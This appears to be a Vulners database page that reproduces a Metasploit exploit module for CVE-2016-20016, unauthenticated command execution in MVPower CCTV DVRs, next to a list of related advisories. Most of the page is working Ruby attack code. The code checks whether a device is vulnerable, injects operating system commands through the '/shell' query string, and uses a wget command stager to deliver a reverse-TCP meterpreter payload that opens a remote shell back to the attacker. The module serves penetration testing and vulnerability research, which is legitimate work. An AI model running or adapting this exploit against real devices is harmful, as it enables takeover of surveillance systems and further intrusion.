Lucene search
+L

MVPower DVR Shell Unauthenticated Command Execution

MVPower DVR Shell Unauthenticated Command Execution, allows arbitrary OS command execution via web interfac

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2016-20016
19 Oct 202200:00
attackerkb
circl
Circl
CVE-2016-20016
29 May 201815:50
circl
cnnvd
CNNVD
MV POWER CCTV DVR 安全漏洞
19 Oct 202200:00
cnnvd
cve
CVE
CVE-2016-20016
19 Oct 202200:00
cve
cvelist
Cvelist
CVE-2016-20016
19 Oct 202200:00
cvelist
nvd
NVD
CVE-2016-20016
19 Oct 202205:15
nvd
osv
OSV
CVE-2016-20016
19 Oct 202205:15
osv
prion
Prion
Design/Logic Flaw
19 Oct 202205:15
prion
ptsecurity
Positive Technologies
PT-2022-7851
19 Oct 202200:00
ptsecurity
ptsecurity
Positive Technologies
PT-2023-11231 · Undefined · Undefined
3 May 202300:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] }

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MVPower DVR Shell Unauthenticated Command Execution',
        'Description' => %q{
          This module exploits an unauthenticated remote command execution
          vulnerability in MVPower digital video recorders. The 'shell' file
          on the web interface executes arbitrary operating system commands in
          the query string.

          This module was tested successfully on a MVPower model TV-7104HE with
          firmware version 1.8.4 115215B9 (Build 2014/11/17).

          The TV-7108HE model is also reportedly affected, but untested.
        },
        'Author' => [
          'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC
          'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC
          'bcoles' # Metasploit
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'References' => [
          ['CVE', '2016-20016'],
          # Comment from Paul Davies contains probably the first published PoC
          [ 'URL', 'http://web.archive.org/web/20200512230920/https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ],
          # Writeup with PoC by Andrew Tierney from Pen Test Partners
          [ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ]
        ],
        'DisclosureDate' => '2015-08-23',
        'Privileged' => true, # BusyBox
        'Arch' => ARCH_ARMLE,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
          'CMDSTAGER::FLAVOR' => 'wget'
        },
        'Targets' => [
          ['Automatic', {}]
        ],
        'CmdStagerFlavor' => %w{echo printf wget},
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    begin
      fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => '/shell',
        'query' => "echo+#{fingerprint}",
        'headers' => { 'Connection' => 'Keep-Alive' }
      )
      if res && res.body.include?(fingerprint)
        return CheckCode::Vulnerable('The target is vulnerable')
      end
    rescue ::Rex::ConnectionError
      return CheckCode::Unknown('Could not determine the target status')
    end
    CheckCode::Safe('The target is not vulnerable')
  end

  def execute_command(cmd, opts)
    begin
      send_request_cgi(
        'uri' => '/shell',
        'query' => Rex::Text.uri_encode(cmd, 'hex-all'),
        'headers' => { 'Connection' => 'Keep-Alive' }
      )
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def exploit
    print_status("#{peer} - Connecting to target")

    unless check == CheckCode::Vulnerable
      fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable")
    end

    print_good("#{peer} - Target is vulnerable!")

    execute_cmdstager(linemax: 1500)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation